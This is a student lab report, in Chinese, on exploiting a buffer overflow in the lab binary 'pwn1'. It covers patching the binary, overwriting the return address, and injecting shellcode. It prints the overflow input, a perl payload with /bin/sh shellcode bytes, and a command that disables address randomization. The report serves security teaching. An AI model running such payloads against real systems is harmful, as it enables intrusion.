20232412 2025-2026-1 《网络与系统攻防技术》实验一实验报告
1.实验内容
本次实验围绕一个存在缓冲区溢出漏洞的Linux程序pwn1展开,通过三种方式劫持其控制流,使其执行原本不会被调用的getShell函数从而获得系统Shell。
三种方式如下:
- 通过直接修改可执行文件的机器指令,将调用 foo 的函数地址替换为 getShell 的地址
- 利用 foo 函数的Bof漏洞,构造一个攻击输入字符串,覆盖其返回地址,跳转执行 getShell 函数
- 将 Shellcode 注入到缓冲区,覆盖返回地址并运行该 Shellcode,从而跳转到 getShell
这三个实践由浅入深地揭示了程序运行机制、栈溢出原理及Shellcode攻击的基本过程,在实验开始前需要掌握一些基础知识:
-
Linux的基础操作
本次实验在Kali虚拟机上完成,我们需要掌握一些常用指令,如管道、输入、输出重定向,还要会用gdb,vi等工具,为虚拟机配置好工具能提高实验效率。
-
汇编语言
实验中需要根据汇编指令来理解函数如何被调用和返回,从而明确在何处修改指令或是覆盖返回地址,我们可以通过反汇编程序,查看 getShell 和 foo 等函数的起始内存地址,阅读函数的汇编代码,确定输入缓冲区的起始位置。
-
Bof的原理
缓冲区溢出的核心原理是:程序向一个预定大小的缓冲区中写入了超出其容量的数据,这些多出的数据会超出缓冲区边界,覆盖到缓冲区相邻的内存区域,篡改栈上保存的“函数返回地址”。这样,当函数执行完毕准备返回时,便会跳转到这个被篡改后的地址去执行,而非原定的合法地址,这就是我们调取getShell函数的方式。
方式二、方式三虽然都利用了缓冲区溢出漏洞,但攻击思路和实现手却有区别:方式二通过溢出修改返回地址,直接跳转去执行程序内部已有的getShell函数,而方式三则是将一段能获取 Shell 的机器指令作为输入数据注入到内存中,再让程序跳转去执行这段我们自己注入的代码。
2.实验过程
2.1 修改可执行文件,改变程序执行流程
下载目标文件pwn1(之后更为pwn202324_1,之后的命名格式相同),输入objdump -d pwn1 | more
反汇编。
我们可以看到 main 函数调用 foo,对应机器指令为e8 d7ffffff
,我们需要修改该机器指令,让它调用 getShell,所有我们需要修改对应的指令。CPU会跳转执行 EIP + d7ffffff
这个位置的指令,即 foo的地址08048491
,而d7ffffff
是补码,表示-41,我们可以计算得到 EIP 的值,并修改补码使其指向 getShell 的地址,通过计算可以知道修改补码为c3ffffff
。
以下为修改过程:
创建副本,用vi文本编辑器来打开文件
我们要将显示模式切换为16进制模式,输入%!xxd
进行切换,,用/e8 d7
找到要修改的内容,更改为e8 c3
,再输入%!xxd -r
换回原格式并存盘退出
我们再次反汇编,可以看到call指令可以正确调用getShell,输入./pwn20232412_1
运行修改后的代码,可以发现返回了一个可用Shell,实验验证成功。
2.2 构造输入参数,造成BOF攻击,改变程序执行流
首先我们要输入字符串,确认哪几个字符会覆盖到返回地址。启动 gdb 调试器,加载可执行文件pwn20232412_2,并在 gdb 环境中运行,输入字符串后提示程序崩溃。
我们查看寄存器,原本指令指针寄存器 EIP 保存着 CPU 接下来要执行的指令的地址,但是这里却被0x35
,即数字'5'的 ASCII 码覆盖,说明我们成功用输入数据覆盖了函数的返回地址。
再次尝试,更改输入的字符串,我们可以确定是1234四个数最终会覆盖到堆栈上的返回地址,所以把这四个字符替换为 getShell 的内存地址,输给 pwn,pwn 就会运行 getShell。
通过刚才的反汇编,我们已知 getShell的内存地址为0804847d
,应输入字符串11111111222222223333333344444444\x7d\x84\x04\x08
修改返回地址为 getShell 的内存地址,运行程序,可以发现返回了一个可用Shell,实验验证成功。
2.3 注入Shellcode并执行
在开始攻击方式三前,我们需要下载工具 execstack 用于查询和修改文件的栈执行权限。
由于学习通提供的安装包在我的虚拟机中无法兼容,我直接在虚拟机中到镜像网站中下载安装包wget http://archive.debian.org/debian/pool/main/p/prelink/execstack_0.0.20130503-1.1+b5_amd64.deb
我们用 execstack 工具设置堆栈可执行,同时修改环境,输入echo "0">/proc/sys/kernel/randomize_va_space
关闭地址随机化。
接下来构造要注入的payload,结构为anything+retaddr+nops+shellcode
,计算可知要在返回地址之前填充32字节,所以 anything 应为'A'x32
,返回地址只要落在任何一个nop上,就会滑到我们的 shellcode 上,我们要做的就是确认 retaddr 的值。输入perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
,我们需要确定\x4\x3\x2\x1该填什么。
打开一个终端注入这段攻击buf。
再开另一个终端,先确定pwn的进程号,再用gdb来调试pwn,通过设置断点,来查看注入buf的内存地址
在第一个终端中按回车,执行至断点处,查看 ESP 中的值,发现用来标记返回地址的0x01020304
。因为内存地址是连续的,我们可以 shellcode 地址为0xffffd2f0
重新使用 Perl 生成一个含 shellcode 的文件,将0x01020304
替换成0xf0d2ffff
,注入这段攻击buf并运行进程,可以发现返回了一个可用Shell,实验验证成功。
3.问题及解决方案
-
问题1:学习通的 execstack 安装包无法正常安装
-
问题1解决方案:经过多次尝试,根据报错提示下载补丁,但文件格式始终无法匹配,最后在虚拟机中通过镜像网站下载 execstack 的 deb 包,完成安装。
-
问题2:注入 payload 未发现标记返回地址的特征值
-
问题2解决方案:与同学交流后发现
(cat input_shellcode;cat)| ./pwn
和./pwn
的区别,我误以为从管道中读取到 input_shellcode 文件的内容会一直保存在进程中,我多次按回车后会退出被注入的pwn。我没发现pwn进程号后输入./pwn
,即我用gdb调试的是没有注入的pwn文件,因此没发现标记返回地址的特征值。更正错误后便能按预期发现特征值。
4.学习感悟、思考等
本次实验让我系统理解了缓冲区溢出漏洞的原理与多种利用方法,其中 ShellCode 注入过程相比其他两种方式略显复杂,操作起来也更难。我原本不理解其攻击原理,只是照着实验参考书一步步模仿,出现问题后不懂得解决,后来我认真查询 ShellCode 基础知识,并结合AI为我画图说明,我才弄清楚注入后的堆栈结构,真正明白本次实验的三种攻击方式的原理。同时我也了解了相关的Bof防御技术,地址随机化让 OS 每次都用不同的地址加载应用,能够有效避免Bof攻击,攻防对抗的过程让我对本门课的学习产生了极大兴趣。